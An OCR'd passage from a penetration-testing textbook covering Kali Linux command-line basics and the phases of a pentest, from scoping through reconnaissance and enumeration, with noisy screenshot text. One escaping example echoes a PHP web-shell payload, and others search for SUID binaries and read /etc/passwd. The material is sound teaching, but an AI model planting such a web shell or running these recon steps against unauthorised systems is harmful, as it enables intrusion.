An alternate way to change these settings through command line is by
typing the command “dpkg-reconfigure tzdata” as root and changing the
settings as and when prompted.

Command Help

A point to bear in mind while using any *nix based platform is that most of
the interaction with the system is through the command line, and each
software command has a variety of input options and sub options. It is quite
common for users to forget the command syntax, and options due to the
large number of tools available in Kali Linux.

To solve this issue, packages on Linux distributions ship with their help
files which are known as man page which is short for manual pages. These
man pages can be accessed by typing the command man <command name>.



root@kali: ~ e e O

File Edit View Search Terminal Help

even included here.

{target specification}

¥ - networks, etc.
.nmap.org, microsoft.com/24, 192.168.6.1; 108.8.8-255.1-2

<inputfilename=: Input from list of hosts/networks
oose mlulﬁrn 1';1‘. 5
: Exclude hosts/networks
lex>: EE{LUUE list from
1 - simply list targets to scan

skip host discovery
FACK, UDP or SCTP discovery to given

/PP/PHM: ICMP echo, timestamp, and netmask request discovery prob

-PD[prﬂtnLﬂl 115t|: IP Prﬁtﬂiﬂl Piﬁg

Figure 3.4: Manual page of the nmap command

Screengrab of man nmap command, the man page showcases the options
available within nmap and their usage.

Installing, removing, and updating packages

Kali comes with a lot of hacking tools and supporting packages however in
some situations there might be a need to install additional tools or libraries
which may not be a part of the standard Kali build. Missing library errors
are commonly encountered while compiling binaries or executing perl or
python scripts with a new package.

There are multiple ways to install packages in Kali Linux of which the most
common and easiest method is to use the set of default package
management tools called apt which is an acronym for ‘advanced packaging
tool’, the tool maintains a local database of software which are available on
Kali Linux software repositories.

The most commonly used apt command options for package management
are given as follows:



apt search <search-string>

Search option in apt is used for finding packages by name or type, this
option provides a list of packages available within the repository matching
the search criteria, this is particularly helpful when the exact package names
aren’t available.

root@kali: ~ e e e

File Edit View 5Search Terminal Help
:~# apt search screenshot
sorting... Done
Full Text Search... Done
ali-rolling ©.7.7-1+bl amd64
Generator for AppStream metadata

li-rolling 2.8.6.
ed malware analy

Rapid web application triage tool

Jkali-roelli B.3-1.1 amds4
framebuffer gr 2

Figure 3.5: Searching for packages using apt

Search for package containing keyword ‘screenshot’ using command apt
search screenshot provides a list of packages matching the search criteria.

apt show <package name>

Show option in apt with supplied with a suitable package name lists all
information available regarding the package, the details include information
on the package version, author, installation size, dependencies on other
packages, and detailed description of the package.




root@kali: ~ e e 0

File Edit View Search Terminal Help

Maintainer: Debian GHNOME Maintainers <

libcanberra-gtk3-0 (== 8.25), 1
0-8 (== 2.39.98),
ckend | gsettings

3 sprogram, uitoolkit::gtk

5 2: 176

L-Installe
HI |

- GNOME

p or of a window and saves it

Figure 3.6: Details of gnome-screenshot package

Example showing details of the gnome-screenshot package using the
command apt show gnome-screenshot

apt install <package name>

This is used for installing packages, upon issuing this command the apt
package manager will provide a list of all dependencies which need to be
satisfied for the given package along with the space required for installation
ask for confirmation, if a confirmation is given by the user the package
manager will go ahead and install the package along with all the
dependencies required for the package.



root@kali: ~ e e O

File Edit View Search Terminal Help

s will be i
116n libcé 1ib c6-1386 locales

L be installed:

gnom
The fo

c-118n libc6 libc6-dev 1libc6-1386 locales
, @ to remove and 1074 not upgraded.
will be used.
amd64 libc-116n all 2.29-2
amd64 locales all 2.29-2 |

amd64 locales-all amdéd 2.

Figure 3.7: Installing gnome-screenshot package

Install the gnome-screenshot package using the command apt install
gnome-screenshot the apt package management tool will automatically
identify all the dependencies and ask for user confirmation after providing a
list of packages which need to be installed along with the disk space
required.

apt remove <package name>

The remove option is used to remove the package matching the name
provided, upon issuing this command the apt package manager will ask the
user for confirmation for package removal, if a confirmation is given by the
user the package manager will proceed to remove the package from the
system.

Warning: Kali contains hundreds of different packages and their
interdependent libraries, the update and upgrade options showcased below
are used for synchronizing the package database and updating the packages
to the latest versions available globally. In the interest of the reader being



able to complete all the exercises given in this book the authors recommend
against using these before completing all the exercises given in this book.

apt update

Apt package manager tools use a local database to maintain a list of
software available on the global repository, this may eventually lead to
version differences in list of packages or their version between local apt
database and global software repository, Update option synchronizes the list
of packages available in the local package database to the list available in
global package repositories.

root@kali: ~ e e 0

File Edit View Search Terminal Help
:~# apt update
Get:1 http://ftp.ha san.org/kali kali-rolling InRelease [30.5 kB]
Get:2 http://ftp.haruka . 1] i-rolling/main amd64 Packages [16.5 MB]
Fetched 16.5 MB in 4min 12s
Reading package lists

Building de

es can be upgraded. Run ‘apt list --upgradable' to see them.

Figure 3.8: apt update

apt upgrade

The upgrade option is used for upgrading all upgradable packages to the
latest version numbers referenced in the local software database, when this
option is used the upgradable software are downloaded from the global
repository and installed on the system.

dpkg

You may sometimes encounter situations that a package required is not
available on Kali repositories for installation, in such cases a compatible
.deb package can be downloaded for the system architecture (1386, amd64,
SPARC, and so on.) and installed using the command dpkg -i <path-to-
file.deb>



Note: The dpkg command does not resolve dependency issues so the
dependencies need to be installed prior to installing the .deb package
file.

Searching for files

There are multiple tools available within Kali to help you find files on your
system, the most commonly used programs for finding files are locate,
which, whereis and find. You may have to use one or the other depending
on the results that you are trying to achieve.

locate <file name>

The locate command searches for file queried within a system-wide
database of file names, this results in extremely fast search timing, on the
downside, using this approach the search results are only as relevant as long
as the database remains updated, the ‘updatedb’ command should be used
to update the locate database.

root@kali: ~ (B )

File Edit View 5Search Terminal Help

Figure 3.9: locate command

Searching for files containing the word ‘wordlists’ using locate command.



Info: The locate command displays matching keywords in entire file
path not just the file name.

whereis <file name>

The whereis command is used to search for binaries, manuals (help files)
and source files, the command searches for the supplied filenames within
the standard Linux directories and directories specified in the environment
variables ($pPaTH and $MaNPATH) of the current user.

root@kali: ~ (I -

File Edit View Search Terminal Help
s = eis dlis
wordlists: fbin/wordl s Jusr/share/wordlists

Figure 3.10: whereis command

The whereis wordlists command displayed above shows a significantly
reduced output as the keyword ‘wordlists’ is only matched to the end
filename instead of the entire file path this behavior is desirable when exact
filenames are known.

find <search directory> <criteria> <search string>

The find command is a far more aggressive approach towards finding files
which match the search criteria, the find command allows the user to search
for files in a much more granular fashion using criteria such as file name (-
name), file permissions (-perm), creation time (-ctime), modification time (-
mtime), group id (-gid), group name (-group) and many other options.

root@kali: ~ (- B )

File Edit View 5earch Terminal Help
1~# find fusr/sbin -perm -4008
fusr/sbin/mount.cifs

Figure 3.11: find command



Searching for all files with suid permissions inside /usr/sbin directory
using the find command.

find /usr/sbin -perm -4000

Managing Services on Kali Linux

The default Kali Linux setup comes with a few preinstalled services such as
apache, mysql, ssh, and so on. which can be started or stopped by using the
service command or by using the systemctl command.

service <service name> start

The service command along with the service name followed by the start
option is used for starting a service.

root@kali ~ e e 0

File Edit View 5earch Terminal Help

;~# service apache2 start

Figure 3.12: starting a service

Starting the apache2 service using service apache2 start command.

service <service name> restart

The restart option is used for restarting the service which becomes useful
when performing any configuration changes to the service.

root@kali: ~ e e e

File Edit View 5earch Terminal Help

:~# service apache2 restart

Figure 3.13: restarting a service



Restarting the apache2 service using service apache2 restart command.

service <service name> status

The status option is used for checking the current status for service.

root@kali: ~ (- IO ]
File Edit View Search Terminal Help

# service apache2 status
g2.s5ervice - Apache HTTP Ser

lLoade [/ stemd/system; 182.s5ervice; disabled:; vendor preset:
5 ] i :37 IST; 53s ago

(code=exited, status=8/SUCCE

Starting The :
14]: AHGG ache?: ( not reliably deter
]: Started The

lines 1-28/28 (END)

Figure 3.14: Checking service status

Viewing the Apache web server status using service apache2 status
command.

service <service name> stop

The stop option is used for stopping the service.

root@kali: ~ e e O
File Edit View 5earch Terminal Help
:~# service apache2 stop

R
. ==

Figure 3.15: stopping a service



Stopping the apache?2 service using the service apache2 stop command.

Service persistence using update-rc.d

The default Kali Linux does not come with pre-enabled remotely accessible
boot time services, the update-rc.d command can be used to allow service
persistence across reboots.

root@kali: ~ (- O ]

File Edit View Search Terminal Help

:~# ypdate-rc.d ssh enable

Figure 3.16: enabling the ssh service using the update-rc.d command

The update-rc.d <service name> enable/disable command can be
used to configure the services from running at boot time.

Shell scripting basics

Kali Linux ships by with the default shell set to bash, this can be confirmed
by issuing the command echo $sHELL. The bash shell supports scripting,
command substitution, output redirection, and so on. to help achieve a basic
amount of automation within the bash shell eliminating the need for a
separate language, this feature of bash comes in very handy during
penetration testing when trying to do repetitive tasks or for chaining
multiple tasks into one.

Substituting commands

This is nothing but having the ability to substitute the output of a command
into a variable or using it as an input inside another command.

root@kali: ~ e e 0
File Edit View Search Terminal Help

:~# gcho "You are" %{whoami)!

You are root!

2 1l




Figure 3.17: Command substitution

The above example showcases command substitution using system
commands echo and whoami, that the output of whoami command gets
expanded within the echo command string, and gets displayed back to the
user's screen.

The next example will showcase the use of command substitution to set the
variable cuser.

root@kali: ~ e e o
File Edit View Search Terminal Help

Figure 3.18: checking value of cuser variable

Echo command shows that the value of the variable cuser has been set to
the output of whoami command as expected.

Command chaining and redirection of input, output, error

Command chaining is the ability to execute multiple commands in sequence
one after the other on a single line, this is achieved through the use of
operator symbols such as; | &, When using the operator ‘;” each command
is executed after the previous one finishes executing.

The two commands whoami and echo used in our previous example can be
chained on a single line using the; operator instead of issuing each one
separately.

root@kali: ~ e e 0
File Edit View Search Terminal Help

~-# cuser=%({whoami);: echo %$cuse

41l

Figure 3.19: Command chaining using ; operator

The preceding command caused the variable ‘cuser’ to output of whoami
command, and later the echo command was used to print value of ‘cuser’



variable on the user’s screen.

Command chaining can also be achieved using the ‘s&’ operator. The main
difference here is that next command in sequence is executed only if the
previous command succeeds, the chain stops executing if the previous
command exits with an error.

root@kali: ~ e e 0
File Edit View Search Terminal Help

~# cuser=%(whoaml)} &% echo %cuser

root

i~# cuser=%{whoami)} && cat nonexistentfile && echo %cuser

cat: nonexistentfile: Mo such file or directory

= |

Figure 3.20: Command chaining using && operator

The preceding screenshot showcases two scenarios, the first chain
command executed correctly where the cuser variable was set, and the echo
command displayed its value in the terminal, whereas in the second
scenario the cat command returned an error, and the command chain
stopped before the value of cuser variable was displayed.

Bash provides the capability to redirect the input and output of commands
using file descriptors, to understand this better a program in Linux takes an
input from keyboard (Standard Input (STDIN)) and produces an output
(Standard Output (STDOUT)) or an error (Standard Error (STDERR))
both of which are sent to the user’s screen, bash provides us capability to
redirect these using operators ‘| ‘< and “>’.

When using the operator ‘|’ for chaining commands the output (STDOUT
and STDERR) of the command which would have otherwise been
displayed on the user’s screen are passed as the input (STDIN) to the next
one.

Elaborating on the previous example the ‘cuser’ variable will be set to the
output of whoami command, additionally we will utilize the cat command
to read the contents of the /etc/passwd file, and pipe its output through
grep to filter and display the line pertaining to the value of ‘cuser’ variable.



root@kali: ~ (IO )
File Edit View Search Terminal Help

S ocamli); cat fetc/passwd | grep Scuser
root:x:8:0:root:/ bin/sbash

"

Figure 3.21: Output redirection using | operator

The above command completed successfully and displayed the entry
pertaining to ‘root’ in the passwd file, instead of the entire passwd file
contents.

The ‘cat’ command was employed in our previous example to read the
contents of the /etc/passwd file. The STDOUT output of cat command
was piped through grep display the line pertaining to the value stored in
‘cuser’ variable that is, root. We can also achieve the same results by
redirecting the entire contents of /etc/passwd file as the STDIN of grep
command using the ‘<’ operator.

root@kali: ~ e ® 0

File Edit View Search Terminal Help
er=%(whoami); grep </etc/passwd
binsbash

Figure 3.22: Input redirection

We achieved the same results without using the cat command through
simple input redirection.

Lightbulb: One difference to note is that ‘|’ operator can also be used for
chaining multiple commands whereas < is used to redirect files as an input
to a command or a variable.

In our next example we will learn how to redirect the output of our previous
command into a file called cuser.txt, we will then use the cat command
to verify the contents of the cuser. txt file.



root@kali: ~ e @ O
Help

}: grep %cuser =/fetc/passwd > cuser.txt

. =

root:x:08:0:root:/root:/bin/bash

T e I

Figure 3.23: output redirection into a file

Apart from redirecting the STDOUT, the ‘>’ operator also creates a
previously non-existent file called cuser. txt.

Warning: If you redirect the command output into a file using operator >’
you will only be able to notice the output of the last execution as the file is
overwritten each time the command is executed. Good amount of
precaution becomes necessary when using the operator > to prevent any
accidental overwrites of useful files.

If you try repeating the first command a few times and then read the
cuser. txt output, you will notice there is only one entry in the file, this is
because the operator overwrites any pre-existing files with the same name
resulting in a fresh entry each time. Using the “>>’ operator resolves the

overwriting issue by appending the output in the file instead of completely
overwriting it.

root@kali: ~ e @ O

File Edit View Search Terminal Help

grep %cuser =/fetc/passwd >= cuser.txt

Figure 3.24: Output redirection appending output to a file

Loops

There are a few ways to achieving loops when using bash shell, for the sake
of this book we will focus on the ‘for loop’ which is used for running a
given set of commands on a list of items.

In the following example we will create a simple ‘for loop’ with the value
of the variable ‘1’ is set to a list of values from 1 to 5 generated using the
‘seq’ command, the loop will run the sleep command and echo the value of



variable ‘1’ into a file ‘loop. txt’, the loop will continue to run the same set
of commands for the next value in ‘i’ till value of the ‘1’ gets to 5 post
which is when the loop will complete its final execution of commands and
exit.

root@kali: ~ (IO )
File Edit View Search Terminal Help

# for i in S(seq 1 5) ;do sleep 1 :echo %i =loop.txt ;done
cat loop.txt

Figure 3.25: For loops

As you may have noticed the above script took 5 seconds to execute due to
a 1 second sleep delay added to each execution, however the 1oop. txt file
only shows the content as ‘5’. The reason for this is how the commands
execute in a ‘for loop’. The set of commands (in this case sleep and echo)
are re-run for each value of ‘1" and the output of the current command
overwrites the file each time. This happens each time till the loop finishes
and the output of the last command overwrites the 1oop. txt file. In such
cases using the “>>’ operator becomes necessary to append the loop.txt
file for each execution instead of overwriting it.

root@kali: ~ e 0
File Edit View Search Terminal Help

# for i in s(seq 1 5) ;do sleep 1 :echo %i =>loop.txt :done
cat loop.txt

5
1
3
4
5

Figure 3.26: for loop - appending data to file using the >> operator

The result from the command issued above shows the output of the
previous run that is, 5 along with the output generated the current ‘for loop’
which got appended sequentially to the same file.

Bash relies heavily on special characters for command chaining,
input/output redirection, process backgrounding, and so on. In certain cases,
it may become necessary to escape the special characters using the \



operator, doing so removes any special characteristics assigned to them and
allows bash to treat these characters as normal ones.

root@kali: ~ e e o
File Edit View Search Terminal Help

:~# echo <7 system($ GET['cmd']};?=
bash: syntax error s token “(°

:~# echo ' 'S V& GETAN[Y emdy ' IV )N AT
<7 system(%s GET['cmd']);?=>

ﬂl

Figure 3.27: Escaping special characters using \ operator

The echo command in the first example fails due to a syntax error, this
happens as bash interprets the special characters <>?()[]&]’;,

The second command completes successfully as all the special characters
are neutralized correctly by using backslash ‘\’ character, allowing the
output to be echoed back on the screen.

Browser plugins

In this section, we will go through some web browser plugins which are not
a part of the default install. These add-ons are particularly useful for giving
the user the ability to perform quick and simple tasks during a penetration
test from within the web browser without the need to rely on external tools
available in the default Kali Linux install.
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Figure 3.28: Mozilla Firefox browser plugins

The add-on section of Mozilla Firefox can be accessed by typing
about:addons in the URL bar and then clicking on the ‘Find more add-
ons’ button’ this should open up a separate tab with a search box for finding
relevant add-ons.
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Figure 3.29: FoxyProxy extension

Clicking on the suggestions in the drop-down will take us to the relevant
add-on page, for the sake of this example we will click on FoxyProxy
Standard from the suggestions, click on the ‘Add to Firefox’ button and
then click on ‘add’ to confirm the permissions and finish the installation.

FoxyProxy Standard - Get this Extension for % Firefox (en-US) - Mozilla Firefox @ 0 0
& Add-ons Manager ¥ | % FoxyProxyStandard - G X | +
|’:(:| = G .@ﬁ. & Mozilla Foundation (US) | https:/ia v [B] | = ﬂ‘| vy 08| =
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* Access your data for all websites I
! = Clear recent browsing histery, cookies, and related urs sl
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* Download files and read and medify the browser's | 484
{ download history o
Foxy P rO} » Display notifications to you 153
: | + Control browser proxy settings 55
by Eric H. J * Access browser tabs 2
{ 24
Cancel Add 84
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Figure 3.30: Adding extensions to Mozilla Firefox



This should add the add-on to Firefox, and a corresponding icon will appear
to the right of the URL bar next to the hamburger menu.

Using the same approach shown above, install the following addons:

HackBar V2

HackBar is an extension which provides useful features to perform security
testing on web applications.

https://addons.mozilla.org/en-US/firefox/user/12077888/

Cookie Quick Manager

This extension allows for easy management of cookies on websites, its
features include searching, creation, viewing, editing, removal, and so on.

https://addons.mozilla.org/en-US/firefox/addon/cookie-quick-manager/

Tamper Data for FF Quantum

Tamper Data extension allows users to view and tamper live HTTP
requests.

https://addons.mozilla.org/en-US/firefox/addon/tamper-data-for-ff-
quantum/

Conclusion

Now that you have Kali linux and target machines installed in the lab
environment, and have a basic understanding of Kali linux command line
interface. We are ready to proceed to the next chapter where we will go
through the concepts involves in planning and execution of a Penetration
Test.

Questions

1. Which command is used to update the package database in Kali linux?

2. What are the commands used for searching files in Kali linux and the
explain the differences between them?

3. What is command substitution and why is it useful?



4. Under what circumstances would you choose operator && instead of ;
while chaining multiple commands?

5. Why are loops used in programming?



CHAPTER 4

Understanding the PT Process and
Stages

hile performing penetration testing, it is important to follow a
standard process and proper stages. These process and stages can

also be customized based on organization’s own experiences and needs. As
the saying goes, it’s not complete unless process is properly followed and
documented well. Same applies to the world of security assessments also. In
this chapter, we will discuss about the following points:

What is the importance of following a standard industry process?
Determine the best PT methodology for your activities.

Asses what is the applicable process flow from your organizations
point of view, basically which process makes more sense.

What are the different stages of penetration testing, and importance of
each of those stages?

Structure

In this chapter the focus will be to explain a penetration testing framework
that can be applied to most of the medium and large enterprise and other
small organizations, with internal teams, and at the same time for
independent security testers who help other organizations to test if they do
not have any internal testing team.

Importance of structured penetration testing

Penetration testing Framework

Objective

After reading this chapter you will be able to:



e Understand the importance of structured penetration testing.

o Understand the various phases and the activities involved in them.

Importance of structured penetration testing

What is learned so far is that penetration test includes a series of process
and techniques. Many of which can be either a manual effort, scripted
and/or automated, or even a combination of all these techniques. These are
performed to execute tasks very similar to that of an attacker on an
organization’s digital infrastructure, data and other IT assets, with an intent
to test the security weaknesses. These attacks can be launched as an insider
or a complete outsider like a real attack scenario.

Though it may appear that Penetration testing is fairly a simple and straight
process, but in practice one has to follow a very structured and process-
oriented methodology. Penetration testing is extremely technical in nature
and also many a times it will throw outputs that will be complex in nature,
and the testers have to make use of their knowledge and skills to unpack
and understand that information. Testers and Analysts quite commonly also
face certain roadblocks while conducting the tests and attack simulations,
like how much and what to cover in their testing scope, be able to measure
the impact and risks associated with critical system failure during the test
runs, how long should they keep trying the tests, and last but not the least,
how to handle a situation if accidentally any sensitive data leaks out during
the testing processes.

It is highly important that process of penetration testing need a proper
structure. And to build such a model, it is crucial to know the answers to
few questions:

e Why is penetration testing different than other kind of security testing?
Like for example, secure code testing, stress testing, configuration and
compliance testing, Vulnerability Assessment and testing, and so on.

e What is the need for conducting penetration testing within the context
of your business? (one should not conduct penetration test just because
they have to fulfil some compliance requirements and/or clear a check
box criteria for an audit item or query).

e What are the risks associated in conducting penetration test, and how
should we pre-assess them?



The first step towards a structured penetration testing is to make sure that
the tests are conducted by a trained, experiences and qualified and
penetration tester. Following a pre-defined structure is necessary because
penetration testing involves steps to exploit vulnerabilities and weaknesses
of the system. Organizations can follow certain penetration methodologies
to provide structure to their testing efforts, and maintain consistency during
the tests.

Penetration testing framework

In this chapter, we will discuss more about the simplified Penetration
Testing Framework.

Reporting

Blaintain Ac

Explmtatlon

Vulnerability Research & False Positive Analysis

Service Enumeration Vulnerability Assessment

Enumeration

Service & OS Identification Network Scanning

Information gathering

Scope OF Penetration testing

Figure 4.1: Penetration Testing Framework

Let’s understand this framework layer by layer. At a high level there are
below 8 Phases that can be followed during the entire cycle of penetration
testing.

Phase 1: Pre engagement activities

Phase 2: Planning

Phase 3: Information gathering

Phase 4: Reconnaissance

Phase 5: Enumeration



Phase 6: Vulnerability Research
Phase 7: Exploitation
Phase 8: Reporting

Our focus is to make sure that the penetration testing phases are logical,
simple, easily adaptable and in case required, extensible as per the
organizational need.

Phase 1: Pre engagement activities

Scoping for penetration testing is the first and the crucial phase, focusing on
scoping will assist the testers to perform their tasks with accuracy, and also
help them plan their activities well in advance. During scoping of
penetration testing, researchers must focus on many aspects, like the
availability of tools, a well-defined list of devices, application or network
devices, about the readiness and preparedness of the support and network
teams, clear understanding and knowledge of the environment, and proper
management supports.

Avoiding or failing to adequately scope the activities may lead to numerous
issues for the penetration tester and/or their organization. In adverse
situations it may even lead to legal liabilities sometime. The scope should
clearly define what needs to be tested, when needs to be tested, how much
the testers should be allowed to penetrate, what need to be avoided. A key
factor to consider while scoping is that how much time one should allow to
complete the task in hand. The most common mistake that researchers do
while scoping is to calculate the efforts based on number of IP addresses or
IP ranges to scan and complete rest of the phases. The best practice is to
always assess the amount of effort needed to complete the task as defined
by the scope of work, and based on this assessment the time to complete the
penetration testing must be scoped. While still on this topic of time and
effort estimation/scoping, lets also consider the fact that these estimations
will greatly depend on the skill, maturity, experience of the testers
themselves or in many cases the team as a whole. It means that if the
team/tester is highly experienced then the amount and accuracy of the test
will vary as compared to less experienced ones. As a practice, the testers
must scope for buffer time to the original scoped time to complete the



activities. Some of the important scoping criteria is as follows, which can
be followed as per the need:

e Are you performing the penetration test to fulfil any regulatory or
compliance requirements or is it just to assess any weaknesses by the
internal team on a regular basis?

e What is the time window to conduct the penetration test, for example,
during business hours only, or may be the organization wants to
perform the tests during the -off-peak hours to avoid any business
continuity disruptions, or may be only on the weekdays?

e It must also account for how many total IP addresses need to be tested,
it will be also useful to separate in groups of internal and external IP
addresses.

e Account for any devices such as a firewall, IDS/IPS or any web
application firewall, as these devices may impact the penetration
testing results.

The scoping activity will provide the safety net in case there are any
disruptions during the testing, and disruptions are quite common during
penetration testing. For example, a webserver under the testing scope may
go down, and the testing is halted till it recovers and resumes normal
services.

Phase 2: Planning

The planning phase will set the stage to gather initial information to prepare
for the penetration testing. Prior to every testing, the penetration tester
needs to ensure that a formal agreement explicitly detailing the test its
scope and duration has been prepared, agreed and signed by both the
parties, this is to done to provide absolute clarity and grant legal protection
for the assignment. In case you are an internal team to your organization
then this could just be an agreement between your team and the
management or the stakeholders for whom you are performing the tests.

Following must be established to proceed for the next steps:

e Prepare a list of contacts and key stake holder individuals from both
the team.



e Prepare an escalation matrix.

* Inform the support team about the penetration testing window, so that
they are aware of the tests being run and can stay vigilant.

e Make sure the security operations teams are aware of the testing and
the time window too, they can then monitor the scans and detect if any
anomalous or malicious attacks are happening with similar patterns,
and not block your scans.

e Define the test cases, and tests those you will run during the testing
phases.

e Choose the tool set you will use and set up the testing environment
accordingly.

At the end of this phase and by following all the steps, the tester will be
able to gain valuable information about the target network, like Employee
names, their positions and in some instances might also get contact details,
technologies used, locations, computing platforms, Web exposure like
domain names and number of domains used, hosting details, data center
locations, or office locations, technologies used for their networks (from job
postings and so on.), E-mail addresses and phone numbers.

Phase 3: Information gathering

In this phase, the activities are generally focused to gather as much
information as possible about the target, for the purpose of our book we
have divided this phase into two subphases, Phase 3a, General Information
gathering phase which you would perform if the target you are planning to
launch the testing against are just new or it’s the first time launching a
penetration testing. And Phase 3b, Historical Information gathering, which
will be explained subsequently. Let's continue with phase 3a, during any
information gathering the default choice is the use of Internet, to find all the
critical or useful information that can be found about the target host or the
organization. The techniques may vary from the usage of search engines to
use of internet-based tools like WHOIS or gathering DNS info. Information
gathering can be as creative as possible, more the amount of information
gathered, be it technical information about the IT systems, or external
facing applications and infrastructure, or maybe it can also be descriptions
in job posts which give away the type of technology or products the




organization is using. A very creative search can many times reveal stored
source codes in git repositories or similar locations, which may have
embedded user or account credentials.

It is not necessary though that the information has to be collected directly
from the target, or you need to make any contacts with the target and target
systems at this stage of penetration testing. That phase comes a bit later
though. During this phase, all or most of the information is collected from
openly available information, mostly from public internet resources, the
sole purpose of this phase is to explore all possible locations and sources of
information which can give additional and useful information about the
target. This can be divided into three distinct methods:

e Passive Information Gathering

* Active Information Gathering

e Historical Information

Following let’s look a little bit in more detail about these two activities.

Passive Information Gathering

Passive information gathering is the process to capture and gather
information about your target systems, and applications by avoiding any
physical contact or connection to access the information. To achieve passive
information gathering, use other sources those are open in the public to
gather information about the target, it may include tools like whois query
for example.

To locate the web presence of the target, you may choose to use search
engines to dig deep about the target, Social media can be searched to get
employee details, you can also use resources online to check the service
status of the target, like how long the services are active or if there were any
downtime in past, how long were those downtime each occurrence, and so
on, you may also choose to perform reverse DNS lookup, check spam
databases and various other public resources as there is no end to it, it is
worth to recall here what was mentioned at the beginning of this phase,
more creative you are, more information you can gather.

Active information gathering




During active information gathering an active connection is established
with the target system/s in order to gather deeper information. In this
scenario you will be able to gain the information that will directly help in
identifying and analyzing the target security. You may choose to perform
activities like Port scanning, Email header analysis (if you have received
any emails from target) or you may try to probe the email server with the
email addresses gathered from passive information gathering and analyze
the response you receive from the servers (basically looking for a response
back from the server, you might get a bounce response if the email is
delivered). One other technique is to try DNS Zone transfer, just in case the
external name servers are misconfigured and allow the internal DNS
information to leak out. Zone transfer files will have some critical
information, like Start of Authority Record (SOA), SOA holds information
about any changes made to the DNS servers, like a host 1s modified, added
or deleted. Name Server (NS), Address Record or A record, and also MX
Record (which specifies mail exchange server).

Historical Information

This is a sub phase of information gathering, after planning phase, if you
are an internal team, and have already performed regular penetration testing
on our own network, say on a monthly or quarterly basis, then in that case
you might already have some privileged information from previous scans
and planning. This may include information about the target IP subnet,
Applications that need to be tested, network related information and many
other areas. In an enterprise environment, when an internal team is going to
perform a regular penetration testing, they have the advantage of using any
previous scan results and flaws that they found, as the network does not
undergo massive changes over a short period of time. Your past knowledge
about the systems and applications may lead to findings those are similar to
the previous ones, which would then be a living proof that the fixes are not
implemented. These repeated findings can help you force your teams to
remediate faster. Or on the other hand, the remediation team will try to fix it
in first attempt as they will be aware that the team will scan in and find in
the next iterative. Once again creativity on how to use the past and
historical information will be crucial for the greater success of the internal
penetration testing.




Note: In both the scenarios of information gathering, it will lead to
Reconnaissance phase.

Phase 4: Reconnaissance

Once enough and satisfactory information is gathered in through active and
passive info-gathering methods, then before performing penetration test, it
is extremely important to give proper attention to reconnaissance phase and
its activities. The information that will be collected during this phase will be
very useful while performing the next phases in penetration testing like,
during enumeration and exploitation phases. Reconnaissance can be very
interesting at times as there is no limit what you can discover, and how deep
you can discover, information and data found may simply lead to system
exploitation bypassing the need for enumeration. But on the contrary it’s
always a best practice to perform complete reconnaissance activities, find
all the required data and then proceed towards the next phases via
enumeration towards exploitation, rather than directly jumping into
exploitation if anything lucrative information found. That way it is easy to
ensure that you have covered all possible angles which can be used to gain
control of the systems, and discovered all possible flaws, not just
overlooked them by taking a shortcut. More information you can gather,
much easier and smooth the penetration testing would be.

The information that you are collecting would also depend on the target
systems or infrastructure or in cases the organization itself, as the nature of
the data collected will also differ, just to explain it a bit further, if you are
assessing an HR application, that is web based, then it will be helpful if you
can identify the type of server it is running from, ports open for the
application, all the other services running and then find what vulnerabilities
those may have, from server, service, or application point of view. There are
many tools are your disposal to perform these testes and reconnaissance
activities. The major activities that is performed during this phase are as
follows:

e Discover the network range and live IP addresses, active machines on
those addresses, Map the network if possible

e Scan for open ports and running services on those live machines



e One important activity is to OS Fingerprinting, to accurately guess the
OS being used on the active machines with help of tools and
techniques at your disposal

Few tools that we will focus during the lab session in this book are as
follows:

e NMap

e arp-scan

e Netdiscover

* netcat

Note: These tools are already part of the standard Kali Linux distribution.

Phase 5: Enumeration

The enumeration phase is where the information gathered from the previous
activities and from reconnaissance phase will be used to further the tests
and gain more and more deep information about the target, and also a step
forward to the exploitation and gaining access to the target systems.

This phase involves a detailed technical activity to assess the network and
its IT resources such as, gaining more detailed network related information
to build a network topology of the target environment. Similar to other
phases, there are specific and purpose-built tools are used to discover deep
technical information about the live hosts, and its networks of the
environment under test.

While mapping the network and its assets the target is to discover all live
hosts and its OS, network switches and firewalls, security detection and
monitoring systems like IDS and IPS, application servers and running
services. Acquiring this detailed information will allow to perform targeted
vulnerability assessment to find specific vulnerabilities which can be
exploited for further gaining access to the systems. In this phase the tester
can try to identify valid user accounts, open resource shares, poorly
configured servers or applications to gain direct access, web application
flaws like remote file inclusions to gain direct access to the application
Server.

Some of the activities during enumeration may involve:



e Gathering AD information and targeting week or vulnerable user
accounts, for example, accounts with default passwords

e Enumerating NetBIOS name by using NBTscan tool
e Performing SNMP enumeration

o Connecting with network shares by leveraging null sessions
Various types of enumeration performed by testers:

e Finding our running applications banners to identify the service or
application version

Network Resource and shares

Network Users, Security and user Groups

Identify machine and host names
SNMP Walk

Apart from above, the techniques used in this phase may include extracting
information by using default password found, applying brute force on active
directory to find relevant information related to users, groups and group
policies, you can also use SNMP to discover network users. Some of the
key enumeration activities could be service and port identification of
common ports like following:

e TCP 53: DNS Zone transfer

e TCP 135: Microsoft RPC

e TCP 137: NetBIOS Name Service

e TCP 139: SMB over NetBIOS

e TCP 445: SMB over TCP

« UDP 161: SNMP

« TCP/UDP 389: LDAP

e TCP 3389: RDP Service (remote desktop)

e TCP 25: Simple Mail Transfer Protocol (SMTP)

e TCP 80: Web Service

o TCP 8080: Proxy services

e TCP 443: SSL



However, it is not necessary that some of the above services, have to run on
default ports, for security reasons many a times organizations choose to use
custom ports for certain services, like for example, they may choose to use
port 8181 for proxy, or any other custom port for web applications. Apart
from the above ports, you might also discover few more commonly used
ports by other services, and sometimes it may be very specific to
applications those are built inhouse by the organization, so it will vary from
organization to organization also. Let’s discuss some of the common
exploitation techniques in little more detail.

NetBIOS enumeration

NetBIOS in general is used for communicating between computers
connected over a LAN/WAN to allow file sharing and printers. NetBIOS
can be used to detect and identify connected network devices over TCP/IP
in Windows based systems. Usually NetBIOS names are unique in nature,
and can reveal some interesting information about the devices which can be
enumerated. Some common factors that can be found are like, all the list of
computers which are connected to a particular domain, open shares on those
hosts, and so on., most of these can be found by using common tools like
Nbtstat.

SNMP enumeration

Simple Network Management Protocol (SNMP) is a UDP based protocol
which is used to manage and maintain network devices like routers, and
switches. SNMP is very commonly used in most of the OS including
Windows Server, Linux & UNIX servers too. SNMP is always targeted by
researchers and testers to enumerate details related to user accounts, their
passwords, associated system names in the target environment. SNMP is
used in Network Management System (NMS) for monitoring and
management of network devices. The SNMP enabled devices allows access
to a management information database with read or write access
permissions based on the access levels. This Database holds description of
network objects with specific identifiers, and also acts as a repository of
values and settings. SNMP used Community Strings to authenticate
between devices, these community strings are nothing but text strings. This
